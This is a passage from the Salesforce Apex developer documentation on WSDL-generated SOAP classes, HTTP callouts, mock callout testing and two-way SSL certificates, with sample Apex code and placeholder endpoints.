  • 317. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="EchoStringResult" type="s:string" /> </s:sequence> </s:complexType> </s:element> </s:schema> </wsdl:types> <!--The stub below defines operations. --> <wsdl:message name="EchoStringSoapIn"> <wsdl:part name="parameters" element="tns:EchoString" /> </wsdl:message> <wsdl:message name="EchoStringSoapOut"> <wsdl:part name="parameters" element="tns:EchoStringResponse" /> </wsdl:message> <wsdl:portType name="DocSamplePortType"> <wsdl:operation name="EchoString"> <wsdl:input message="tns:EchoStringSoapIn" /> <wsdl:output message="tns:EchoStringSoapOut" /> </wsdl:operation> </wsdl:portType> <!--The code below defines how the types map to SOAP. --> <wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType"> <wsdl:operation name="EchoString"> <soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString" style="document" /> <wsdl:input> <soap:body use="literal" /> </wsdl:input> <wsdl:output> <soap:body use="literal" /> </wsdl:output> </wsdl:operation> </wsdl:binding> <!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class --> <wsdl:service name="DocSample"> <wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding"> <soap:address location="http://YourServer/YourService" /> </wsdl:port> </wsdl:service> </wsdl:definitions> From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify when importing the WSDL. //Generated by wsdl2apex public class docSample { public class EchoStringResponse_element { public String EchoStringResult; private String[] EchoStringResult_type_info = new String[]{ 'EchoStringResult', 'http://www.w3.org/2001/XMLSchema', 'string','0','1','false'}; private String[] apex_schema_type_info = new String[]{ 'http://doc.sample.com/docSample', 293
  • 318. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document 'true'}; private String[] field_order_type_info = new String[]{ 'EchoStringResult'}; } public class DocSamplePort { public String endpoint_x = 'http://YourServer/YourService'; private String[] ns_map_type_info = new String[]{ 'http://doc.sample.com/docSample', 'docSample'}; public String EchoString(String input) { docSample.EchoString_element request_x = new docSample.EchoString_element(); docSample.EchoStringResponse_element response_x; request_x.input = input; Map<String, docSample.EchoStringResponse_element> response_map_x = new Map<String, docSample.EchoStringResponse_element>(); response_map_x.put('response_x', response_x); WebServiceCallout.invoke( this, request_x, response_map_x, new String[]{endpoint_x, 'urn:dotnet.callouttest.soap.sforce.com/EchoString', 'http://doc.sample.com/docSample', 'EchoString', 'http://doc.sample.com/docSample', 'EchoStringResponse', 'docSample.EchoStringResponse_element'} ); response_x = response_map_x.get('response_x'); return response_x.EchoStringResult; } } public class EchoString_element { public String input; private String[] input_type_info = new String[]{ 'input', 'http://www.w3.org/2001/XMLSchema', 'string','0','1','false'}; private String[] apex_schema_type_info = new String[]{ 'http://doc.sample.com/docSample', 'true'}; private String[] field_order_type_info = new String[]{'input'}; } } Note the following mappings from the original WSDL document: • • • • The WSDL target namespace maps to the Apex class name. Each complex type becomes a class. Each element in the type is a public field in the class. The WSDL port name maps to the stub class. Each operation in the WSDL maps to a public method. The class generated above can be used to invoke external Web services. The following code shows how to call the echoString method on the external server: docSample.DocSamplePort stub = new docSample.DocSamplePort(); String input = 'This is the input string'; String output = stub.EchoString(input); 294
  • 319. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document Testing Web Service Callouts Generated code is saved as an Apex class containing the methods you can invoke for calling the Web service. To deploy or package this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By default, test methods don’t support Web service callouts and tests that perform Web service callouts are skipped. To prevent tests from being skipped and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock method that you can use to receive fake responses in a test method. Specifying a Mock Response for Testing Web Service Callouts When you create an Apex class from a WSDL, the methods in the auto-generated class call WebServiceCallout.invoke, which performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate a fake response whenever WebServiceCallout.invoke is called. To do so, implement the WebServiceMock interface and specify a fake response that the Apex runtime should send. Here are the steps in more detail. First, implement the WebServiceMock interface and specify the fake response in the doInvoke method. global class YourWebServiceMockImpl implements WebServiceMock { global void doInvoke( Object stub, Object request, Map<String, Object> response, String endpoint, String soapAction, String requestName, String responseNS, String responseName, String responseType) { // Create response element from the autogenerated class. // Populate response element. // Add response element to the response parameter, as follows: response.put('response_x', responseElement); } } Note: • • The class implementing the WebServiceMock interface can be either global or public. You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your organization’s code size limit of 3 MB. Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument, pass a new instance of your interface implementation of WebServiceMock, as follows: Test.setMock(WebServiceMock.class, new YourWebServiceMockImpl()); After this point, if a Web service callout is invoked in test context, the callout is not made and you receive the mock response specified in your doInvoke method implementation. Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test method in the same package with the same namespace to mock the callout. This is a full example that shows how to test a Web service callout. The implementation of the WebServiceMock interface is listed first. This example implements the doInvoke method, which returns the response you specify. In this case, the response element of the auto-generated class is created and assigned a value. Next, the response Map parameter is populated 295
  • 320. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document with this fake response. This example is based on the WSDL listed in Understanding the Generated Code. Import this WSDL and generate a class called docSample before you save this class. @isTest global class WebServiceMockImpl implements WebServiceMock { global void doInvoke( Object stub, Object request, Map<String, Object> response, String endpoint, String soapAction, String requestName, String responseNS, String responseName, String responseType) { docSample.EchoStringResponse_element respElement = new docSample.EchoStringResponse_element(); respElement.EchoStringResult = 'Mock response'; response.put('response_x', respElement); } } This is the method that makes a Web service callout. public class WebSvcCallout { public static String callEchoString(String input) { docSample.DocSamplePort sample = new docSample.DocSamplePort(); sample.endpoint_x = 'http://api.salesforce.com/foo/bar'; // This invokes the EchoString method in the generated class String echo = sample.EchoString(input); return echo; } } This is the test class containing the test method that sets the mock callout mode. It calls the callEchoString method in the previous class and verifies that a mock response is received. @isTest private class WebSvcCalloutTest { @isTest static void testEchoString() { // This causes a fake response to be generated Test.setMock(WebServiceMock.class, new WebServiceMockImpl()); // Call the method that invokes a callout String output = WebSvcCallout.callEchoString('Hello World!'); // Verify that a fake result is returned System.assertEquals('Mock response', output); } } See Also: WebServiceMock Interface Performing DML Operations and Mock Callouts By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within 296
  • 321. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations must not be part of the Test.startTest/Test.stopTest block. DML operations that occur after mock callouts are allowed and don’t require any changes in test methods. Performing DML Before Mock Callouts This example is based on the previous example. The example shows how to use Test.startTest and Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test method (testEchoString) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest. @isTest private class WebSvcCalloutTest { @isTest static void testEchoString() { // Perform some DML to insert test data Account testAcct = new Account('Test Account'); insert testAcct; // Call Test.startTest before performing callout // but after setting test data. Test.startTest(); // Set mock callout class Test.setMock(WebServiceMock.class, new WebServiceMockImpl()); // Call the method that invokes a callout String output = WebSvcCallout.callEchoString('Hello World!'); // Verify that a fake result is returned System.assertEquals('Mock response', output); Test.stopTest(); } } Asynchronous Apex and Mock Callouts Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get an exception because of uncommitted work pending. To prevent this exception, do either of the following: • Enclose the asynchronous call within Test.startTest and Test.stopTest statements. Test.startTest(); MyClass.asyncCall(); Test.stopTest(); Test.setMock(..); // Takes two arguments MyClass.mockCallout(); • Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block. MyClass.asyncCall(); Test.startTest(); Test.setMock(..); // Takes two arguments 297
  • 322. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document MyClass.mockCallout(); Test.stopTest(); Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods. See Also: Test Class Considerations Using WSDLs Be aware of the following when generating Apex classes from a WSDL. Mapping Headers Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit and .NET works. Understanding Runtime Events The following checks are performed when Apex code is making a callout to an external service. • • • • • For information on the timeout limits when making an HTTP request or a Web services call, see Callout Limits and Limitations on page 308. Circular references in Apex classes are not allowed. More than one loopback connection to Salesforce domains is not allowed. To allow an endpoint to be accessed, it should be registered from Setup, in Security > Remote Site Settings. To prevent database connections from being held up, no transactions can be open. Understanding Unsupported Characters in Variable Names A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating Apex variable names from a WSDL file: • • • • • If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable name. If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated Apex variable name. If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore (_) character. If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced with an underscore (_) character and the second one is replaced with an x character. This avoids generating a variable name with two successive underscores, which is not allowed in Apex. Suppose you have an operation that takes two parameters, a_ and a_x. The generated Apex has two variables, both named a_x. The class will not compile. You must manually edit the Apex and change one of the variable names. Debugging Classes Generated from WSDL Files Salesforce tests code with SOAP API, .NET, and Axis. If you use other tools, you might encounter issues. You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more information, see SOAP API and SOAP Headers for Apex on page 1330. 298
  • 323. Integration and Apex Utilities Invoking HTTP Callouts Invoking HTTP Callouts Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and DELETE. You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web services as an alternate option to generating Apex code from a WSDL. By using the HTTP classes, instead of starting with a WSDL, you take on more responsibility for handling the construction of the SOAP message for the request and response. The Force.com Toolkit for Google Data APIs makes extensive use of HTTP callouts. HTTP Classes Testing HTTP Callouts HTTP Classes These classes expose the general HTTP request/response functionality: • • • Http Class. Use this class to initiate an HTTP request and response. HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE. HttpResponse Class: Use this class to handle the HTTP response returned by HTTP. The HttpRequest and HttpResponse classes support the following elements: • HttpRequest: ◊ ◊ ◊ ◊ ◊ • HTTP request types such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS. Request headers if needed. Read and connection timeouts. Redirects if needed. Content of the message body. HttpResponse: ◊ The HTTP status code. ◊ Response headers if needed. ◊ Content of the response body. The following example shows an HTTP GET request made to the external server specified by the value of url that gets passed into the getContent method. This example also shows accessing the body of the returned response: public class HttpCalloutSample { // Pass in the endpoint to be used using the string url public String getContent(String url) { // Instantiate a new http object Http h = new Http(); // Instantiate a new HTTP request, specify the method (GET) as well as the endpoint HttpRequest req = new HttpRequest(); req.setEndpoint(url); req.setMethod('GET'); // Send the request, and return a response HttpResponse res = h.send(req); return res.getBody(); 299
  • 324. Integration and Apex Utilities Invoking HTTP Callouts } } The previous example runs synchronously, meaning no further processing happens until the external Web service returns a response. Alternatively, you can use the @future annotation to make the callout run asynchronously. Before you can access external servers from an endpoint or redirect endpoint using Apex or any other feature, you must add the remote site to a list of authorized remote sites in the Salesforce user interface. To do this, log in to Salesforce and from Setup, click Security Controls > Remote Site Settings. Note: The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information about the AJAX proxy, see AJAX Toolkit documentation. Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest, or a response accessed by HttpResponse. Testing HTTP Callouts To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts, so tests that perform callouts are skipped. However, you can enable HTTP callout testing by instructing Apex to generate mock responses in tests by calling Test.setMock and by specifying the mock response in one of the following ways: • • By implementing the HttpCalloutMock interface By using Static Resources with StaticResourceCalloutMock or MultiStaticResourceCalloutMock To enable running DML operations before mock callouts in your test methods, see Performing DML Operations and Mock Callouts. Testing HTTP Callouts by Implementing the HttpCalloutMock Interface Testing HTTP Callouts Using Static Resources Performing DML Operations and Mock Callouts Testing HTTP Callouts by Implementing the HttpCalloutMock Interface Provide an implementation for the HttpCalloutMock interface to specify the response sent in the respond method, which the Apex runtime calls to send a response for a callout. global class YourHttpCalloutMockImpl implements HttpCalloutMock { global HTTPResponse respond(HTTPRequest req) { // Create a fake response. // Set response values, and // return response. } } Note: • • The class that implements the HttpCalloutMock interface can be either global or public. You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your organization’s code size limit of 3 MB. Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument, pass a new instance of your interface implementation of HttpCalloutMock, as follows: Test.setMock(HttpCalloutMock.class, new YourHttpCalloutMockImpl()); 300
  • 325. Integration and Apex Utilities Invoking HTTP Callouts After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in the respond method implementation. Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test method in the same package with the same namespace to mock the callout. This is a full example that shows how to test an HTTP callout. The interface implementation (MockHttpResponseGenerator) is listed first. It is followed by a class containing the test method and another containing the method that the test calls. The testCallout test method sets the mock callout mode by calling Test.setMock before calling getInfoFromExternalService. It then verifies that the response returned is what the implemented respond method sent. Save each class separately and run the test in CalloutClassTest. @isTest global class MockHttpResponseGenerator implements HttpCalloutMock { // Implement this interface method global HTTPResponse respond(HTTPRequest req) { // Optionally, only send a mock response for a specific endpoint // and method. System.assertEquals('http://api.salesforce.com/foo/bar', req.getEndpoint()); System.assertEquals('GET', req.getMethod()); // Create a fake response HttpResponse res = new HttpResponse(); res.setHeader('Content-Type', 'application/json'); res.setBody('{"foo":"bar"}'); res.setStatusCode(200); return res; } } public class CalloutClass { public static HttpResponse getInfoFromExternalService() { HttpRequest req = new HttpRequest(); req.setEndpoint('http://api.salesforce.com/foo/bar'); req.setMethod('GET'); Http h = new Http(); HttpResponse res = h.send(req); return res; } } @isTest private class CalloutClassTest { @isTest static void testCallout() { // Set mock callout class Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator()); // Call method to test. // This causes a fake response to be sent // from the class that implements HttpCalloutMock. HttpResponse res = CalloutClass.getInfoFromExternalService(); // Verify response received contains fake values String contentType = res.getHeader('Content-Type'); System.assert(contentType == 'application/json'); String actualValue = res.getBody(); String expectedValue = '{"foo":"bar"}'; System.assertEquals(actualValue, expectedValue); System.assertEquals(200, res.getStatusCode()); 301
  • 326. Integration and Apex Utilities Invoking HTTP Callouts } } See Also: HttpCalloutMock Interface Test Class Testing HTTP Callouts Using Static Resources You can test HTTP callouts by specifying the body of the response you’d like to receive in a static resource and using one of two built-in classes—StaticResourceCalloutMock or MultiStaticResourceCalloutMock. Testing HTTP Callouts Using StaticResourceCalloutMock Apex provides the built-in StaticResourceCalloutMock class that you can use to test callouts by specifying the response body in a static resource. When using this class, you don’t have to provide your own implementation of the HttpCalloutMock interface. Instead, just create an instance of StaticResourceCalloutMock and set the static resource to use for the response body, along with other response properties, like the status code and content type. First, you must create a static resource from a text file to contain the response body: 1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match the content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary string abc. If you specify a content type of application/json for the response, the file content should be a JSON string, such as {"hah":"fooled you"}. 2. Create a static resource for the text file: a. b. c. d. Click Develop > Static Resources, and then New Static Resource. Name your static resource. Choose the file to upload. Click Save. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help. Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties. StaticResourceCalloutMock mock = new StaticResourceCalloutMock(); mock.setStaticResource('myStaticResourceName'); mock.setStatusCode(200); mock.setHeader('Content-Type', 'application/json'); In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first argument, and the variable name that you created for StaticResourceCalloutMock as the second argument. Test.setMock(HttpCalloutMock.class, mock); After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you specified in your instance of StaticResourceCalloutMock. Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test method in the same package with the same namespace to mock the callout. This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named 302
  • 327. Integration and Apex Utilities Invoking HTTP Callouts mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the test in CalloutStaticClassTest. public class CalloutStaticClass { public static HttpResponse getInfoFromExternalService(String endpoint) { HttpRequest req = new HttpRequest(); req.setEndpoint(endpoint); req.setMethod('GET'); Http h = new Http(); HttpResponse res = h.send(req); return res; } } @isTest private class CalloutStaticClassTest { @isTest static void testCalloutWithStaticResources() { // Use StaticResourceCalloutMock built-in class to // specify fake response and include response body // in a static resource. StaticResourceCalloutMock mock = new StaticResourceCalloutMock(); mock.setStaticResource('mockResponse'); mock.setStatusCode(200); mock.setHeader('Content-Type', 'application/json'); // Set the mock callout mode Test.setMock(HttpCalloutMock.class, mock); // Call the method that performs the callout HTTPResponse res = CalloutStaticClass.getInfoFromExternalService( 'http://api.salesforce.com/foo/bar'); // Verify response received contains values returned by // the mock response. // This is the content of the static resource. System.assertEquals('{"hah":"fooled you"}', res.getBody()); System.assertEquals(200,res.getStatusCode()); System.assertEquals('application/json', res.getHeader('Content-Type')); } } Testing HTTP Callouts Using MultiStaticResourceCalloutMock Apex provides the built-in MultiStaticResourceCalloutMock class that you can use to test callouts by specifying the response body in a static resource for each endpoint. This class is similar to StaticResourceCalloutMock except that it allows you to specify multiple response bodies. When using this class, you don’t have to provide your own implementation of the HttpCalloutMock interface. Instead, just create an instance of MultiStaticResourceCalloutMock and set the static resource to use per endpoint. You can also set other response properties like the status code and content type. First, you must create a static resource from a text file to contain the response body. See the procedure outlined in Testing HTTP Callouts Using StaticResourceCalloutMock. Next, create an instance of MultiStaticResourceCalloutMock and set the static resource, and any other properties. MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock(); multimock.setStaticResource('http://api.salesforce.com/foo/bar', 'mockResponse'); multimock.setStaticResource('http://api.salesforce.com/foo/sfdc', 'mockResponse2'); multimock.setStatusCode(200); multimock.setHeader('Content-Type', 'application/json'); In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument. Test.setMock(HttpCalloutMock.class, multimock); 303
  • 328. Integration and Apex Utilities Invoking HTTP Callouts After this point, if your test method performs an HTTP callout to one of the endpoints http://api.salesforce.com/foo/bar or http://api.salesforce.com/foo/sfdc, the callout is not made and the Apex runtime sends the corresponding mock response you specified in your instance of MultiStaticResourceCalloutMock. This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named mockResponse based on a text file with the content {"hah":"fooled you"} and another named mockResponse2 based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and run the test in CalloutMultiStaticClassTest. public class CalloutMultiStaticClass { public static HttpResponse getInfoFromExternalService(String endpoint) { HttpRequest req = new HttpRequest(); req.setEndpoint(endpoint); req.setMethod('GET'); Http h = new Http(); HttpResponse res = h.send(req); return res; } } @isTest private class CalloutMultiStaticClassTest { @isTest static void testCalloutWithMultipleStaticResources() { // Use MultiStaticResourceCalloutMock to // specify fake response for a certain endpoint and // include response body in a static resource. MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock(); multimock.setStaticResource( 'http://api.salesforce.com/foo/bar', 'mockResponse'); multimock.setStaticResource( 'http://api.salesforce.com/foo/sfdc', 'mockResponse2'); multimock.setStatusCode(200); multimock.setHeader('Content-Type', 'application/json'); // Set the mock callout mode Test.setMock(HttpCalloutMock.class, multimock); // Call the method for the first endpoint HTTPResponse res = CalloutMultiStaticClass.getInfoFromExternalService( 'http://api.salesforce.com/foo/bar'); // Verify response received System.assertEquals('{"hah":"fooled you"}', res.getBody()); // Call the method for the second endpoint HTTPResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService( 'http://api.salesforce.com/foo/sfdc'); // Verify response received System.assertEquals('{"hah":"fooled you twice"}', res2.getBody()); } } Performing DML Operations and Mock Callouts By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations must not be part of the Test.startTest/Test.stopTest block. DML operations that occur after mock callouts are allowed and don’t require any changes in test methods. 304
  • 329. Integration and Apex Utilities Invoking HTTP Callouts The DML operations support works for all implementations of mock callouts using: the HttpCalloutMock interface and static resources (StaticResourceCalloutMock or MultiStaticResourceCalloutMock). The following example uses an implemented HttpCalloutMock interface but you can apply the same technique when using static resources. Performing DML Before Mock Callouts This example is based on the HttpCalloutMock example provided earlier. The example shows how to use Test.startTest and Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test method (testCallout) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest. @isTest private class CalloutClassTest { @isTest static void testCallout() { // Perform some DML to insert test data Account testAcct = new Account('Test Account'); insert testAcct; // Call Test.startTest before performing callout // but after setting test data. Test.startTest(); // Set mock callout class Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator()); // Call method to test. // This causes a fake response to be sent // from the class that implements HttpCalloutMock. HttpResponse res = CalloutClass.getInfoFromExternalService(); // Verify response received contains fake values String contentType = res.getHeader('Content-Type'); System.assert(contentType == 'application/json'); String actualValue = res.getBody(); String expectedValue = '{"foo":"bar"}'; System.assertEquals(actualValue, expectedValue); System.assertEquals(200, res.getStatusCode()); Test.stopTest(); } } Asynchronous Apex and Mock Callouts Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get an exception because of uncommitted work pending. To prevent this exception, do either of the following: • Enclose the asynchronous call within Test.startTest and Test.stopTest statements. Test.startTest(); MyClass.asyncCall(); Test.stopTest(); Test.setMock(..); // Takes two arguments MyClass.mockCallout(); • Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the 305
  • 330. Integration and Apex Utilities Using Certificates Test.setMock statement. Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block. MyClass.asyncCall(); Test.startTest(); Test.setMock(..); // Takes two arguments MyClass.mockCallout(); Test.stopTest(); Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods. See Also: Test Class Using Certificates You can use two-way SSL authentication by sending a certificate generated in Salesforce or signed by a certificate authority (CA) with your callout. This enhances security as the target of the callout receives the certificate and can use it to authenticate the request against its keystore. To enable two-way SSL authentication for a callout: 1. Generate a certificate. 2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests. 3. If you are connecting to a third-party and you are using a self-signed certificate, share the Salesforce certificate with them so that they can add the certificate to their keystore. If you are connecting to another application used within your organization, configure your Web or application server to request a client certificate. This process depends on the type of Web or application server you use. For an example of how to set up two-way SSL with Apache Tomcat, see wiki.developerforce.com/index.php/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL. 4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Generating Certificates Using Certificates with SOAP Services Generating Certificates You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate for a callout: 1. From Setup, click Security Controls > Certificate and Key Management. 2. Select either Create Self-Signed Certificate or Create CA-Signed Certificate, based on what kind of certificate your external website accepts. You can’t change the type of a certificate after you’ve created it. 3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates. 4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique Name when referring to the certificate using the Force.com Web services API or Apex. 306
  • 331. Integration and Apex Utilities Using Certificates 5. Select a Key Size for your generated certificate and keys. We recommend that you use the default key size of 2048 for security reasons. Selecting 2048 generates a certificate using 2048-bit keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year. Note: Once you save a Salesforce certificate, you can’t change the key size. 6. If you’re creating a CA-signed certificate, you must also enter the following information. These fields are joined together to generate a unique certificate. Field Description Common Name The fully qualified domain name of the company requesting the signed certificate. This is generally of the form: http://www.mycompany.com. Email Address The email address associated with this certificate. Company Either the legal name of your company, or your legal name. Department The branch of your company using the certificate, such as marketing or accounting. City The city where the company resides. State The state where the company resides. Country Code A two-letter code indicating the country where the company resides. For the United States, the value is US. 7. Click Save. After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated. After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Uploading Certificate Authority (CA)-Signed Certificates” in the Salesforce online help. Using Certificates with SOAP Services After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP Web service. To integrate the certificate with your Apex: 1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to. 2. Generate Apex classes from the WSDL for the Web service. See SOAP Services: Defining a Class from a WSDL Document. 3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document. Edit the Apex classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value must match the Unique Name of the certificate you generated under Setup, in Security Controls > Certificate and Key Management. 307
  • 332. Integration and Apex Utilities Callout Limits and Limitations The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Understanding the Generated Code. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert. docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.clientCertName_x = 'DocSampleCert'; String input = 'This is the input string'; String output = stub.EchoString(input); There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate key in base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce certificate because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate, the private key is not shared outside Salesforce. Note: Do not use a client certificate generated under Setup, in Develop > API > Generate Client Certificate. You must use a certificate obtained from a third party for your organization if you use the legacy process. The following example illustrates the legacy process and works with the sample WSDL file in Understanding the Generated Code on page 292. docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.clientCert_x = 'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+ 'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+ '6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+ '9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA=='; // Password for the keystore stub.clientCertPasswd_x = 'passwd'; String input = 'This is the input string'; String output = stub.EchoString(input); Using Certificates with HTTP Requests After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request. To integrate the certificate with your Apex: 1. Generate a certificate. Note the Unique Name of the certificate. 2. In your Apex, use the setClientCertificateName method of the HttpRequest class. The value used for the argument for this method must match the Unique Name of the certificate that you generated in the previous step. The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert. HttpRequest req = new HttpRequest(); req.setClientCertificateName('DocSampleCert'); Callout Limits and Limitations The following limits and limitations apply when Apex code makes a callout to an HTTP request or a Web services call. The Web services call can be a SOAP API call or any external Web services call. • A single Apex transaction can make a maximum of 10 callouts to an HTTP request or an API call. 308
